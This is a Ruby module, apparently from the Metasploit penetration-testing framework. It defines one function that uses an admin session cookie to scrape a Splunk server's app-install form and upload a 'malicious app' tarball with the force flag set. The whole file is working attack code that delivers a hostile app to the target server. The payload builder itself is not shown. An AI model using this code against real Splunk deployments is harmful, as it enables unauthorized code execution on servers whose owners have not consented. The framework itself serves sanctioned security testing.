# -*- coding: binary -*-

# This module provides a way of interacting with Splunk apps
module Msf::Exploit::Remote::HTTP::Splunk::Apps
  # Uploads malicious app to splunk using admin cookie
  #
  # @param app_name [String] Name of the app to upload
  # @param cookie [String] Valid admin's cookie
  # @return [Boolean] true on success, false on error
  def splunk_upload_app(app_name, cookie)
    res = send_request_cgi({
      'uri' => splunk_upload_url,
      'method' => 'GET',
      'cookie' => cookie
    })

    unless res&.code == 200
      vprint_error('Unable to get form state')
      return false
    end

    html = res.get_html_document

    data = Rex::MIME::Message.new
    # fill the hidden fields from the form: state and splunk_form_key
    html.at('[id="installform"]').elements.each do |form|
      next unless form.attributes['value']

      data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
    end
    data.add_part('1', nil, nil, 'form-data; name="force"')
    data.add_part(splunk_helper_malicious_app(app_name), 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
    post_data = data.to_s

    res = send_request_cgi({
      'uri' => splunk_upload_url,
      'method' => 'POST',
      'cookie' => cookie,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data
    })

    unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
      vprint_error('Error uploading App')
      return false
    end

    true
  end
end
